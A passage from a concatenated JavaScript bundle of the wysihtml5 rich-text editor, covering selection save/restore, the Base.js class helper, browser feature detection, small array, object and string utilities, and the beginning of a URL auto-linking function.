saveRange(ranges[i], backward);\n            }\n\n            // Now that all the markers are in place and DOM manipulation over, adjust each range's boundaries to lie\n            // between its markers\n            for (i = len - 1; i >= 0; --i) {\n                range = ranges[i];\n                doc = api.DomRange.getRangeDocument(range);\n                if (range.collapsed) {\n                    range.collapseAfter(gEBI(rangeInfos[i].markerId, doc));\n                } else {\n                    range.setEndBefore(gEBI(rangeInfos[i].endMarkerId, doc));\n                    range.setStartAfter(gEBI(rangeInfos[i].startMarkerId, doc));\n                }\n            }\n\n            return rangeInfos;\n        }\n\n        function saveSelection(win) {\n            if (!api.isSelectionValid(win)) {\n                module.warn(\"Cannot save selection. This usually happens when the selection is collapsed and the selection document has lost focus.\");\n                return null;\n            }\n            var sel = api.getSelection(win);\n            var ranges = sel.getAllRanges();\n            var backward = (ranges.length == 1 && sel.isBackward());\n\n            var rangeInfos = saveRanges(ranges, backward);\n\n            // Ensure current selection is unaffected\n            if (backward) {\n                sel.setSingleRange(ranges[0], \"backward\");\n            } else {\n                sel.setRanges(ranges);\n            }\n\n            return {\n                win: win,\n                rangeInfos: rangeInfos,\n                restored: false\n            };\n        }\n\n        function restoreRanges(rangeInfos) {\n            var ranges = [];\n\n            // Ranges are in reverse order of appearance in the DOM. We want to restore earliest first to avoid\n            // normalization affecting previously restored ranges.\n            var rangeCount = rangeInfos.length;\n\n            for (var i = rangeCount - 1; i >= 0; i--) {\n                ranges[i] = restoreRange(rangeInfos[i], true);\n            }\n\n            return ranges;\n        }\n\n        function restoreSelection(savedSelection, preserveDirection) {\n            if (!savedSelection.restored) {\n                var rangeInfos = savedSelection.rangeInfos;\n                var sel = api.getSelection(savedSelection.win);\n                var ranges = restoreRanges(rangeInfos), rangeCount = rangeInfos.length;\n\n                if (rangeCount == 1 && preserveDirection && api.features.selectionHasExtend && rangeInfos[0].backward) {\n                    sel.removeAllRanges();\n                    sel.addRange(ranges[0], true);\n                } else {\n                    sel.setRanges(ranges);\n                }\n\n                savedSelection.restored = true;\n            }\n        }\n\n        function removeMarkerElement(doc, markerId) {\n            var markerEl = gEBI(markerId, doc);\n            if (markerEl) {\n                markerEl.parentNode.removeChild(markerEl);\n            }\n        }\n\n        function removeMarkers(savedSelection) {\n            var rangeInfos = savedSelection.rangeInfos;\n            for (var i = 0, len = rangeInfos.length, rangeInfo; i < len; ++i) {\n                rangeInfo = rangeInfos[i];\n                if (rangeInfo.collapsed) {\n                    removeMarkerElement(savedSelection.doc, rangeInfo.markerId);\n                } else {\n                    removeMarkerElement(savedSelection.doc, rangeInfo.startMarkerId);\n                    removeMarkerElement(savedSelection.doc, rangeInfo.endMarkerId);\n                }\n            }\n        }\n\n        api.util.extend(api, {\n            saveRange: saveRange,\n            restoreRange: restoreRange,\n            saveRanges: saveRanges,\n            restoreRanges: restoreRanges,\n            saveSelection: saveSelection,\n            restoreSelection: restoreSelection,\n            removeMarkerElement: removeMarkerElement,\n            removeMarkers: removeMarkers\n        });\n    });\n    \n}, this);;/*\n\tBase.js, version 1.1a\n\tCopyright 2006-2010, Dean Edwards\n\tLicense: http://www.opensource.org/licenses/mit-license.php\n*/\n\nvar Base = function() {\n\t// dummy\n};\n\nBase.extend = function(_instance, _static) { // subclass\n\tvar extend = Base.prototype.extend;\n\t\n\t// build the prototype\n\tBase._prototyping = true;\n\tvar proto = new this;\n\textend.call(proto, _instance);\n  proto.base = function() {\n    // call this method from any other method to invoke that method's ancestor\n  };\n\tdelete Base._prototyping;\n\t\n\t// create the wrapper for the constructor function\n\t//var constructor = proto.constructor.valueOf(); //-dean\n\tvar constructor = proto.constructor;\n\tvar klass = proto.constructor = function() {\n\t\tif (!Base._prototyping) {\n\t\t\tif (this._constructing || this.constructor == klass) { // instantiation\n\t\t\t\tthis._constructing = true;\n\t\t\t\tconstructor.apply(this, arguments);\n\t\t\t\tdelete this._constructing;\n\t\t\t} else if (arguments[0] != null) { // casting\n\t\t\t\treturn (arguments[0].extend || extend).call(arguments[0], proto);\n\t\t\t}\n\t\t}\n\t};\n\t\n\t// build the class interface\n\tklass.ancestor = this;\n\tklass.extend = this.extend;\n\tklass.forEach = this.forEach;\n\tklass.implement = this.implement;\n\tklass.prototype = proto;\n\tklass.toString = this.toString;\n\tklass.valueOf = function(type) {\n\t\t//return (type == \"object\") ? klass : constructor; //-dean\n\t\treturn (type == \"object\") ? klass : constructor.valueOf();\n\t};\n\textend.call(klass, _static);\n\t// class initialisation\n\tif (typeof klass.init == \"function\") klass.init();\n\treturn klass;\n};\n\nBase.prototype = {\t\n\textend: function(source, value) {\n\t\tif (arguments.length > 1) { // extending with a name/value pair\n\t\t\tvar ancestor = this[source];\n\t\t\tif (ancestor && (typeof value == \"function\") && // overriding a method?\n\t\t\t\t// the valueOf() comparison is to avoid circular references\n\t\t\t\t(!ancestor.valueOf || ancestor.valueOf() != value.valueOf()) &&\n\t\t\t\t/\\bbase\\b/.test(value)) {\n\t\t\t\t// get the underlying method\n\t\t\t\tvar method = value.valueOf();\n\t\t\t\t// override\n\t\t\t\tvalue = function() {\n\t\t\t\t\tvar previous = this.base || Base.prototype.base;\n\t\t\t\t\tthis.base = ancestor;\n\t\t\t\t\tvar returnValue = method.apply(this, arguments);\n\t\t\t\t\tthis.base = previous;\n\t\t\t\t\treturn returnValue;\n\t\t\t\t};\n\t\t\t\t// point to the underlying method\n\t\t\t\tvalue.valueOf = function(type) {\n\t\t\t\t\treturn (type == \"object\") ? value : method;\n\t\t\t\t};\n\t\t\t\tvalue.toString = Base.toString;\n\t\t\t}\n\t\t\tthis[source] = value;\n\t\t} else if (source) { // extending with an object literal\n\t\t\tvar extend = Base.prototype.extend;\n\t\t\t// if this object has a customised extend method then use it\n\t\t\tif (!Base._prototyping && typeof this != \"function\") {\n\t\t\t\textend = this.extend || extend;\n\t\t\t}\n\t\t\tvar proto = {toSource: null};\n\t\t\t// do the \"toString\" and other methods manually\n\t\t\tvar hidden = [\"constructor\", \"toString\", \"valueOf\"];\n\t\t\t// if we are prototyping then include the constructor\n\t\t\tvar i = Base._prototyping ? 0 : 1;\n\t\t\twhile (key = hidden[i++]) {\n\t\t\t\tif (source[key] != proto[key]) {\n\t\t\t\t\textend.call(this, key, source[key]);\n\n\t\t\t\t}\n\t\t\t}\n\t\t\t// copy each of the source object's properties to this object\n\t\t\tfor (var key in source) {\n\t\t\t\tif (!proto[key]) extend.call(this, key, source[key]);\n\t\t\t}\n\t\t}\n\t\treturn this;\n\t}\n};\n\n// initialise\nBase = Base.extend({\n\tconstructor: function() {\n\t\tthis.extend(arguments[0]);\n\t}\n}, {\n\tancestor: Object,\n\tversion: \"1.1\",\n\t\n\tforEach: function(object, block, context) {\n\t\tfor (var key in object) {\n\t\t\tif (this.prototype[key] === undefined) {\n\t\t\t\tblock.call(context, object[key], key, object);\n\t\t\t}\n\t\t}\n\t},\n\t\t\n\timplement: function() {\n\t\tfor (var i = 0; i < arguments.length; i++) {\n\t\t\tif (typeof arguments[i] == \"function\") {\n\t\t\t\t// if it's a function, call it\n\t\t\t\targuments[i](this.prototype);\n\t\t\t} else {\n\t\t\t\t// add the interface using the extend method\n\t\t\t\tthis.prototype.extend(arguments[i]);\n\t\t\t}\n\t\t}\n\t\treturn this;\n\t},\n\t\n\ttoString: function() {\n\t\treturn String(this.valueOf());\n\t}\n});;/**\n * Detect browser support for specific features\n */\nwysihtml5.browser = (function() {\n  var userAgent   = navigator.userAgent,\n      testElement = document.createElement(\"div\"),\n      // Browser sniffing is unfortunately needed since some behaviors are impossible to feature detect\n      isGecko     = userAgent.indexOf(\"Gecko\")        !== -1 && userAgent.indexOf(\"KHTML\") === -1,\n      isWebKit    = userAgent.indexOf(\"AppleWebKit/\") !== -1,\n      isChrome    = userAgent.indexOf(\"Chrome/\")      !== -1,\n      isOpera     = userAgent.indexOf(\"Opera/\")       !== -1;\n\n  function iosVersion(userAgent) {\n    return +((/ipad|iphone|ipod/.test(userAgent) && userAgent.match(/ os (\\d+).+? like mac os x/)) || [undefined, 0])[1];\n  }\n\n  function androidVersion(userAgent) {\n    return +(userAgent.match(/android (\\d+)/) || [undefined, 0])[1];\n  }\n\n  function isIE(version, equation) {\n    var rv = -1,\n        re;\n\n    if (navigator.appName == 'Microsoft Internet Explorer') {\n      re = new RegExp(\"MSIE ([0-9]{1,}[\\.0-9]{0,})\");\n    } else if (navigator.appName == 'Netscape') {\n      re = new RegExp(\"Trident/.*rv:([0-9]{1,}[\\.0-9]{0,})\");\n    }\n\n    if (re && re.exec(navigator.userAgent) != null) {\n      rv = parseFloat(RegExp.$1);\n    }\n\n    if (rv === -1) { return false; }\n    if (!version) { return true; }\n    if (!equation) { return version === rv; }\n    if (equation === \"<\") { return version < rv; }\n    if (equation === \">\") { return version > rv; }\n    if (equation === \"<=\") { return version <= rv; }\n    if (equation === \">=\") { return version >= rv; }\n  }\n\n  return {\n    // Static variable needed, publicly accessible, to be able override it in unit tests\n    USER_AGENT: userAgent,\n\n    /**\n     * Exclude browsers that are not capable of displaying and handling\n     * contentEditable as desired:\n     *    - iPhone, iPad (tested iOS 4.2.2) and Android (tested 2.2) refuse to make contentEditables focusable\n     *    - IE < 8 create invalid markup and crash randomly from time to time\n     *\n     * @return {Boolean}\n     */\n    supported: function() {\n      var userAgent                   = this.USER_AGENT.toLowerCase(),\n          // Essential for making html elements editable\n          hasContentEditableSupport   = \"contentEditable\" in testElement,\n          // Following methods are needed in order to interact with the contentEditable area\n          hasEditingApiSupport        = document.execCommand && document.queryCommandSupported && document.queryCommandState,\n          // document selector apis are only supported by IE 8+, Safari 4+, Chrome and Firefox 3.5+\n          hasQuerySelectorSupport     = document.querySelector && document.querySelectorAll,\n          // contentEditable is unusable in mobile browsers (tested iOS 4.2.2, Android 2.2, Opera Mobile, WebOS 3.05)\n          isIncompatibleMobileBrowser = (this.isIos() && iosVersion(userAgent) < 5) || (this.isAndroid() && androidVersion(userAgent) < 4) || userAgent.indexOf(\"opera mobi\") !== -1 || userAgent.indexOf(\"hpwos/\") !== -1;\n      return hasContentEditableSupport\n        && hasEditingApiSupport\n        && hasQuerySelectorSupport\n        && !isIncompatibleMobileBrowser;\n    },\n\n    isTouchDevice: function() {\n      return this.supportsEvent(\"touchmove\");\n    },\n\n    isIos: function() {\n      return (/ipad|iphone|ipod/i).test(this.USER_AGENT);\n    },\n\n    isAndroid: function() {\n      return this.USER_AGENT.indexOf(\"Android\") !== -1;\n    },\n\n    /**\n     * Whether the browser supports sandboxed iframes\n     * Currently only IE 6+ offers such feature <iframe security=\"restricted\">\n     *\n     * http://msdn.microsoft.com/en-us/library/ms534622(v=vs.85).aspx\n     * http://blogs.msdn.com/b/ie/archive/2008/01/18/using-frames-more-securely.aspx\n     *\n     * HTML5 sandboxed iframes are still buggy and their DOM is not reachable from the outside (except when using postMessage)\n     */\n    supportsSandboxedIframes: function() {\n      return isIE();\n    },\n\n    /**\n     * IE6+7 throw a mixed content warning when the src of an iframe\n     * is empty/unset or about:blank\n     * window.querySelector is implemented as of IE8\n     */\n    throwsMixedContentWarningWhenIframeSrcIsEmpty: function() {\n      return !(\"querySelector\" in document);\n    },\n\n    /**\n     * Whether the caret is correctly displayed in contentEditable elements\n     * Firefox sometimes shows a huge caret in the beginning after focusing\n     */\n    displaysCaretInEmptyContentEditableCorrectly: function() {\n      return isIE();\n    },\n\n    /**\n     * Opera and IE are the only browsers who offer the css value\n     * in the original unit, thx to the currentStyle object\n     * All other browsers provide the computed style in px via window.getComputedStyle\n     */\n    hasCurrentStyleProperty: function() {\n      return \"currentStyle\" in testElement;\n    },\n\n    /**\n     * Firefox on OSX navigates through history when hitting CMD + Arrow right/left\n     */\n    hasHistoryIssue: function() {\n      return isGecko && navigator.platform.substr(0, 3) === \"Mac\";\n    },\n\n    /**\n     * Whether the browser inserts a <br> when pressing enter in a contentEditable element\n     */\n    insertsLineBreaksOnReturn: function() {\n      return isGecko;\n    },\n\n    supportsPlaceholderAttributeOn: function(element) {\n      return \"placeholder\" in element;\n    },\n\n    supportsEvent: function(eventName) {\n      return \"on\" + eventName in testElement || (function() {\n        testElement.setAttribute(\"on\" + eventName, \"return;\");\n        return typeof(testElement[\"on\" + eventName]) === \"function\";\n      })();\n    },\n\n    /**\n     * Opera doesn't correctly fire focus/blur events when clicking in- and outside of iframe\n     */\n    supportsEventsInIframeCorrectly: function() {\n      return !isOpera;\n    },\n\n    /**\n     * Everything below IE9 doesn't know how to treat HTML5 tags\n     *\n     * @param {Object} context The document object on which to check HTML5 support\n     *\n     * @example\n     *    wysihtml5.browser.supportsHTML5Tags(document);\n     */\n    supportsHTML5Tags: function(context) {\n      var element = context.createElement(\"div\"),\n          html5   = \"<article>foo</article>\";\n      element.innerHTML = html5;\n      return element.innerHTML.toLowerCase() === html5;\n    },\n\n    /**\n     * Checks whether a document supports a certain queryCommand\n     * In particular, Opera needs a reference to a document that has a contentEditable in it's dom tree\n     * in oder to report correct results\n     *\n     * @param {Object} doc Document object on which to check for a query command\n     * @param {String} command The query command to check for\n     * @return {Boolean}\n     *\n     * @example\n     *    wysihtml5.browser.supportsCommand(document, \"bold\");\n     */\n    supportsCommand: (function() {\n      // Following commands are supported but contain bugs in some browsers\n      var buggyCommands = {\n        // formatBlock fails with some tags (eg. <blockquote>)\n        \"formatBlock\":          isIE(10, \"<=\"),\n         // When inserting unordered or ordered lists in Firefox, Chrome or Safari, the current selection or line gets\n         // converted into a list (<ul><li>...</li></ul>, <ol><li>...</li></ol>)\n         // IE and Opera act a bit different here as they convert the entire content of the current block element into a list\n        \"insertUnorderedList\":  isIE(),\n        \"insertOrderedList\":    isIE()\n      };\n\n      // Firefox throws errors for queryCommandSupported, so we have to build up our own object of supported commands\n      var supported = {\n        \"insertHTML\": isGecko\n      };\n\n      return function(doc, command) {\n        var isBuggy = buggyCommands[command];\n        if (!isBuggy) {\n          // Firefox throws errors when invoking queryCommandSupported or queryCommandEnabled\n          try {\n            return doc.queryCommandSupported(command);\n          } catch(e1) {}\n\n          try {\n            return doc.queryCommandEnabled(command);\n          } catch(e2) {\n            return !!supported[command];\n          }\n        }\n        return false;\n      };\n    })(),\n\n    /**\n     * IE: URLs starting with:\n     *    www., http://, https://, ftp://, gopher://, mailto:, new:, snews:, telnet:, wasis:, file://,\n     *    nntp://, newsrc:, ldap://, ldaps://, outlook:, mic:// and url:\n     * will automatically be auto-linked when either the user inserts them via copy&paste or presses the\n     * space bar when the caret is directly after such an url.\n     * This behavior cannot easily be avoided in IE < 9 since the logic is hardcoded in the mshtml.dll\n     * (related blog post on msdn\n     * http://blogs.msdn.com/b/ieinternals/archive/2009/09/17/prevent-automatic-hyperlinking-in-contenteditable-html.aspx).\n     */\n    doesAutoLinkingInContentEditable: function() {\n      return isIE();\n    },\n\n    /**\n     * As stated above, IE auto links urls typed into contentEditable elements\n     * Since IE9 it's possible to prevent this behavior\n     */\n    canDisableAutoLinking: function() {\n      return this.supportsCommand(document, \"AutoUrlDetect\");\n    },\n\n    /**\n     * IE leaves an empty paragraph in the contentEditable element after clearing it\n     * Chrome/Safari sometimes an empty <div>\n     */\n    clearsContentEditableCorrectly: function() {\n      return isGecko || isOpera || isWebKit;\n    },\n\n    /**\n     * IE gives wrong results for getAttribute\n     */\n    supportsGetAttributeCorrectly: function() {\n      var td = document.createElement(\"td\");\n      return td.getAttribute(\"rowspan\") != \"1\";\n    },\n\n    /**\n     * When clicking on images in IE, Opera and Firefox, they are selected, which makes it easy to interact with them.\n     * Chrome and Safari both don't support this\n     */\n    canSelectImagesInContentEditable: function() {\n      return isGecko || isIE() || isOpera;\n    },\n\n    /**\n     * All browsers except Safari and Chrome automatically scroll the range/caret position into view\n     */\n    autoScrollsToCaret: function() {\n      return !isWebKit;\n    },\n\n    /**\n     * Check whether the browser automatically closes tags that don't need to be opened\n     */\n    autoClosesUnclosedTags: function() {\n      var clonedTestElement = testElement.cloneNode(false),\n          returnValue,\n          innerHTML;\n\n      clonedTestElement.innerHTML = \"<p><div></div>\";\n      innerHTML                   = clonedTestElement.innerHTML.toLowerCase();\n      returnValue                 = innerHTML === \"<p></p><div></div>\" || innerHTML === \"<p><div></div></p>\";\n\n      // Cache result by overwriting current function\n      this.autoClosesUnclosedTags = function() { return returnValue; };\n\n      return returnValue;\n    },\n\n    /**\n     * Whether the browser supports the native document.getElementsByClassName which returns live NodeLists\n     */\n    supportsNativeGetElementsByClassName: function() {\n      return String(document.getElementsByClassName).indexOf(\"[native code]\") !== -1;\n    },\n\n    /**\n     * As of now (19.04.2011) only supported by Firefox 4 and Chrome\n     * See https://developer.mozilla.org/en/DOM/Selection/modify\n     */\n    supportsSelectionModify: function() {\n      return \"getSelection\" in window && \"modify\" in window.getSelection();\n    },\n\n    /**\n     * Opera needs a white space after a <br> in order to position the caret correctly\n     */\n    needsSpaceAfterLineBreak: function() {\n      return isOpera;\n    },\n\n    /**\n     * Whether the browser supports the speech api on the given element\n     * See http://mikepultz.com/2011/03/accessing-google-speech-api-chrome-11/\n     *\n     * @example\n     *    var input = document.createElement(\"input\");\n     *    if (wysihtml5.browser.supportsSpeechApiOn(input)) {\n     *      // ...\n     *    }\n     */\n    supportsSpeechApiOn: function(input) {\n      var chromeVersion = userAgent.match(/Chrome\\/(\\d+)/) || [undefined, 0];\n      return chromeVersion[1] >= 11 && (\"onwebkitspeechchange\" in input || \"speech\" in input);\n    },\n\n    /**\n     * IE9 crashes when setting a getter via Object.defineProperty on XMLHttpRequest or XDomainRequest\n     * See https://connect.microsoft.com/ie/feedback/details/650112\n     * or try the POC http://tifftiff.de/ie9_crash/\n     */\n    crashesWhenDefineProperty: function(property) {\n      return isIE(9) && (property === \"XMLHttpRequest\" || property === \"XDomainRequest\");\n    },\n\n    /**\n     * IE is the only browser who fires the \"focus\" event not immediately when .focus() is called on an element\n     */\n    doesAsyncFocus: function() {\n      return isIE();\n    },\n\n    /**\n     * In IE it's impssible for the user and for the selection library to set the caret after an <img> when it's the lastChild in the document\n     */\n    hasProblemsSettingCaretAfterImg: function() {\n      return isIE();\n    },\n\n    hasUndoInContextMenu: function() {\n      return isGecko || isChrome || isOpera;\n    },\n\n    /**\n     * Opera sometimes doesn't insert the node at the right position when range.insertNode(someNode)\n     * is used (regardless if rangy or native)\n     * This especially happens when the caret is positioned right after a <br> because then\n     * insertNode() will insert the node right before the <br>\n     */\n    hasInsertNodeIssue: function() {\n      return isOpera;\n    },\n\n    /**\n     * IE 8+9 don't fire the focus event of the <body> when the iframe gets focused (even though the caret gets set into the <body>)\n     */\n    hasIframeFocusIssue: function() {\n      return isIE();\n    },\n\n    /**\n     * Chrome + Safari create invalid nested markup after paste\n     *\n     *  <p>\n     *    foo\n     *    <p>bar</p> <!-- BOO! -->\n     *  </p>\n     */\n    createsNestedInvalidMarkupAfterPaste: function() {\n      return isWebKit;\n    },\n\n    supportsMutationEvents: function() {\n        return (\"MutationEvent\" in window);\n    },\n\n    /**\n      IE (at least up to 11) does not support clipboardData on event.\n      It is on window but cannot return text/html\n      Should actually check for clipboardData on paste event, but cannot in firefox\n    */\n    supportsModenPaste: function () {\n      return !(\"clipboardData\" in window);\n    }\n  };\n})();\n;wysihtml5.lang.array = function(arr) {\n  return {\n    /**\n     * Check whether a given object exists in an array\n     *\n     * @example\n     *    wysihtml5.lang.array([1, 2]).contains(1);\n     *    // => true\n     *\n     * Can be used to match array with array. If intersection is found true is returned\n     */\n    contains: function(needle) {\n      if (Array.isArray(needle)) {\n        for (var i = needle.length; i--;) {\n          if (wysihtml5.lang.array(arr).indexOf(needle[i]) !== -1) {\n            return true;\n          }\n        }\n        return false;\n      } else {\n        return wysihtml5.lang.array(arr).indexOf(needle) !== -1;\n      }\n    },\n\n    /**\n     * Check whether a given object exists in an array and return index\n     * If no elelemt found returns -1\n     *\n     * @example\n     *    wysihtml5.lang.array([1, 2]).indexOf(2);\n     *    // => 1\n     */\n    indexOf: function(needle) {\n        if (arr.indexOf) {\n          return arr.indexOf(needle);\n        } else {\n          for (var i=0, length=arr.length; i<length; i++) {\n            if (arr[i] === needle) { return i; }\n          }\n          return -1;\n        }\n    },\n\n    /**\n     * Substract one array from another\n     *\n     * @example\n     *    wysihtml5.lang.array([1, 2, 3, 4]).without([3, 4]);\n     *    // => [1, 2]\n     */\n    without: function(arrayToSubstract) {\n      arrayToSubstract = wysihtml5.lang.array(arrayToSubstract);\n      var newArr  = [],\n          i       = 0,\n          length  = arr.length;\n      for (; i<length; i++) {\n        if (!arrayToSubstract.contains(arr[i])) {\n          newArr.push(arr[i]);\n        }\n      }\n      return newArr;\n    },\n\n    /**\n     * Return a clean native array\n     *\n     * Following will convert a Live NodeList to a proper Array\n     * @example\n     *    var childNodes = wysihtml5.lang.array(document.body.childNodes).get();\n     */\n    get: function() {\n      var i        = 0,\n          length   = arr.length,\n          newArray = [];\n      for (; i<length; i++) {\n        newArray.push(arr[i]);\n      }\n      return newArray;\n    },\n\n    /**\n     * Creates a new array with the results of calling a provided function on every element in this array.\n     * optionally this can be provided as second argument\n     *\n     * @example\n     *    var childNodes = wysihtml5.lang.array([1,2,3,4]).map(function (value, index, array) {\n            return value * 2;\n     *    });\n     *    // => [2,4,6,8]\n     */\n    map: function(callback, thisArg) {\n      if (Array.prototype.map) {\n        return arr.map(callback, thisArg);\n      } else {\n        var len = arr.length >>> 0,\n            A = new Array(len),\n            i = 0;\n        for (; i < len; i++) {\n           A[i] = callback.call(thisArg, arr[i], i, arr);\n        }\n        return A;\n      }\n    },\n\n    /* ReturnS new array without duplicate entries\n     *\n     * @example\n     *    var uniq = wysihtml5.lang.array([1,2,3,2,1,4]).unique();\n     *    // => [1,2,3,4]\n     */\n    unique: function() {\n      var vals = [],\n          max = arr.length,\n          idx = 0;\n\n      while (idx < max) {\n        if (!wysihtml5.lang.array(vals).contains(arr[idx])) {\n          vals.push(arr[idx]);\n        }\n        idx++;\n      }\n      return vals;\n    }\n\n  };\n};\n;wysihtml5.lang.Dispatcher = Base.extend(\n  /** @scope wysihtml5.lang.Dialog.prototype */ {\n  on: function(eventName, handler) {\n    this.events = this.events || {};\n    this.events[eventName] = this.events[eventName] || [];\n    this.events[eventName].push(handler);\n    return this;\n  },\n\n  off: function(eventName, handler) {\n    this.events = this.events || {};\n    var i = 0,\n        handlers,\n        newHandlers;\n    if (eventName) {\n      handlers    = this.events[eventName] || [],\n      newHandlers = [];\n      for (; i<handlers.length; i++) {\n        if (handlers[i] !== handler && handler) {\n          newHandlers.push(handlers[i]);\n        }\n      }\n      this.events[eventName] = newHandlers;\n    } else {\n      // Clean up all events\n      this.events = {};\n    }\n    return this;\n  },\n\n  fire: function(eventName, payload) {\n    this.events = this.events || {};\n    var handlers = this.events[eventName] || [],\n        i        = 0;\n    for (; i<handlers.length; i++) {\n      handlers[i].call(this, payload);\n    }\n    return this;\n  },\n\n  // deprecated, use .on()\n  observe: function() {\n    return this.on.apply(this, arguments);\n  },\n\n  // deprecated, use .off()\n  stopObserving: function() {\n    return this.off.apply(this, arguments);\n  }\n});\n;wysihtml5.lang.object = function(obj) {\n  return {\n    /**\n     * @example\n     *    wysihtml5.lang.object({ foo: 1, bar: 1 }).merge({ bar: 2, baz: 3 }).get();\n     *    // => { foo: 1, bar: 2, baz: 3 }\n     */\n    merge: function(otherObj) {\n      for (var i in otherObj) {\n        obj[i] = otherObj[i];\n      }\n      return this;\n    },\n\n    get: function() {\n      return obj;\n    },\n\n    /**\n     * @example\n     *    wysihtml5.lang.object({ foo: 1 }).clone();\n     *    // => { foo: 1 }\n     *\n     *    v0.4.14 adds options for deep clone : wysihtml5.lang.object({ foo: 1 }).clone(true);\n     */\n    clone: function(deep) {\n      var newObj = {},\n          i;\n\n      if (obj === null || !wysihtml5.lang.object(obj).isPlainObject()) {\n        return obj;\n      }\n\n      for (i in obj) {\n        if(obj.hasOwnProperty(i)) {\n          if (deep) {\n            newObj[i] = wysihtml5.lang.object(obj[i]).clone(deep);\n          } else {\n            newObj[i] = obj[i];\n          }\n        }\n      }\n      return newObj;\n    },\n\n    /**\n     * @example\n     *    wysihtml5.lang.object([]).isArray();\n     *    // => true\n     */\n    isArray: function() {\n      return Object.prototype.toString.call(obj) === \"[object Array]\";\n    },\n\n    /**\n     * @example\n     *    wysihtml5.lang.object(function() {}).isFunction();\n     *    // => true\n     */\n    isFunction: function() {\n      return Object.prototype.toString.call(obj) === '[object Function]';\n    },\n\n    isPlainObject: function () {\n      return Object.prototype.toString.call(obj) === '[object Object]';\n    }\n  };\n};\n;(function() {\n  var WHITE_SPACE_START = /^\\s+/,\n      WHITE_SPACE_END   = /\\s+$/,\n      ENTITY_REG_EXP    = /[&<>\\t\"]/g,\n      ENTITY_MAP = {\n        '&': '&amp;',\n        '<': '&lt;',\n        '>': '&gt;',\n        '\"': \"&quot;\",\n        '\\t':\"&nbsp; \"\n      };\n  wysihtml5.lang.string = function(str) {\n    str = String(str);\n    return {\n      /**\n       * @example\n       *    wysihtml5.lang.string(\"   foo   \").trim();\n       *    // => \"foo\"\n       */\n      trim: function() {\n        return str.replace(WHITE_SPACE_START, \"\").replace(WHITE_SPACE_END, \"\");\n      },\n\n      /**\n       * @example\n       *    wysihtml5.lang.string(\"Hello #{name}\").interpolate({ name: \"Christopher\" });\n       *    // => \"Hello Christopher\"\n       */\n      interpolate: function(vars) {\n        for (var i in vars) {\n          str = this.replace(\"#{\" + i + \"}\").by(vars[i]);\n        }\n        return str;\n      },\n\n      /**\n       * @example\n       *    wysihtml5.lang.string(\"Hello Tom\").replace(\"Tom\").with(\"Hans\");\n       *    // => \"Hello Hans\"\n       */\n      replace: function(search) {\n        return {\n          by: function(replace) {\n            return str.split(search).join(replace);\n          }\n        };\n      },\n\n      /**\n       * @example\n       *    wysihtml5.lang.string(\"hello<br>\").escapeHTML();\n       *    // => \"hello&lt;br&gt;\"\n       */\n      escapeHTML: function(linebreaks, convertSpaces) {\n        var html = str.replace(ENTITY_REG_EXP, function(c) { return ENTITY_MAP[c]; });\n        if (linebreaks) {\n          html = html.replace(/(?:\\r\\n|\\r|\\n)/g, '<br />');\n        }\n        if (convertSpaces) {\n          html = html.replace(/  /gi, \"&nbsp; \");\n        }\n        return html;\n      }\n    };\n  };\n})();\n;/**\n * Find urls in descendant text nodes of an element and auto-links them\n * Inspired by http://james.padolsey.com/javascript/find-and-replace-text-with-javascript/\n *\n * @param {Element} element Container element in which to search for urls\n *\n * @example\n *    <div id=\"text-container\">Please click here: www.google.com</div>\n *    <script>wysihtml5.dom.autoLink(document.getElementById(\"text-container\"));</script>\n */\n(function(wysihtml5) {\n  var /**\n       * Don't auto-link urls that are contained in the following elements:\n       */\n      IGNORE_URLS_IN        = wysihtml5.lang.array([\"CODE\", \"PRE\", \"A\", \"SCRIPT\", \"HEAD\", \"TITLE\", \"STYLE\"]),\n      /**\n       * revision 1:\n       *    /(\\S+\\.{1}[^\\s\\,\\.\\!]+)/g\n       *\n       * revision 2:\n       *    /(\\b(((https?|ftp):\\/\\/)|(www\\.))[-A-Z0-9+&@#\\/%?=~_|!:,.;\\[\\]]*[-A-Z0-9+&@#\\/%=~_|])/gim\n       *\n       * put this in the beginning if you don't wan't to match within a word\n       *    (^|[\\>\\(\\{\\[\\s\\>])\n       */\n      URL_REG_EXP           = /((https?:\\/\\/|www\\.)[^\\s<]{3,})/gi,\n      TRAILING_CHAR_REG_EXP = /([^\\w\\/\\-](,?))$/i,\n      MAX_DISPLAY_LENGTH    = 100,\n      BRACKETS              = { \")\": \"(\", \"]\": \"[\", \"}\": \"{\" };\n\n  function autoLink(element, ignoreInClasses) {\n    if (_hasParentThatShouldBeIgnored(element, ignoreInClasses)) {\n      return element;\n    }\n\n    if (element === element.ownerDocument.documentElement) {\n      element = element.ownerDocument.body;\n    }\n\n    return _parseNode(element, ignoreInClasses);\n  }\n\n  /**\n   * This is basically a rebuild of\n   * the rails auto_link_urls text helper\n   */\n  function _convertUrlsToLinks(str) {\n    return str.replace(URL_REG_EXP, function(match, url) {\n      var punctuation = (url.match(TRAILING_CHAR_REG_EXP) || [])[1] || \"\",\n          opening     = BRACKETS[punctuation];\n      url = url.replace(TRAILING_CHAR_REG_EXP, \"\");\n\n      if (url.split(opening).length > url.split(punctuation).length) {\n        url = url + punctuation;\n        punctuation = \"\";\n      }\n      var realUrl    = url,\n          displayUrl = url;\n      if (url.length > MAX_DISPLAY_LENGTH) {\n        displayUrl = displayUrl.substr(0, MAX_DISPLAY_LENGTH) + \"...\";\n      }\n      // Add http prefix if necessary\n      if (realUrl.substr(0, 4) === \"www.\") {\n        realUrl = \"http://\" + realUrl;\n      }\n\n      return '<a href=\"' + realUrl + '\">' + displayUrl + '</a>' + punctuation;\n    });\n  }\n\n  /**\n   * Creates or (if already cached) returns a temp element\n   * for the given document object\n   */\n  function _getTempElement(context) {\n    var tempElement = context._wysihtml5_tempElement;\n    if (!tempElement) {\n      tempElement = context._wysihtml5_tempElement = context.createElement(\"div\");\n    }\n    return tempElement;\n  }\n\n  /**\n   * Replaces the original text nodes with the newly auto-linked dom tree\n   */\n  function _wrapMatchesInNode(textNode) {\n    var parentNode  = textNode.parentNode,\n        nodeValue   = wysihtml5.lang.string(textNode.data).escapeHTML(),\n        tempElement = _getTempElement(parentNode.ownerDocument);\n\n    // We need to insert an empty/temporary <span /> to fix IE quirks\n    // Elsewise IE would strip white space in the beginning\n    tempElement.innerHTML = \"<span></span>\" + _convertUrlsToLinks(nodeValue);\n    tempElement.removeChild(tempElement.firstChild);\n\n    while (tempElement.firstChild) {\n      // inserts tempElement.firstChild before textNode\n      parentNode.insertBefore(tempElement.firstChild, textNode);\n    }\n    parentNode.removeChild(textNode);\n  }\n\n  function _hasParentThatShouldBeIgnored(node, ignoreInClasses) {\n    var nodeName;\n    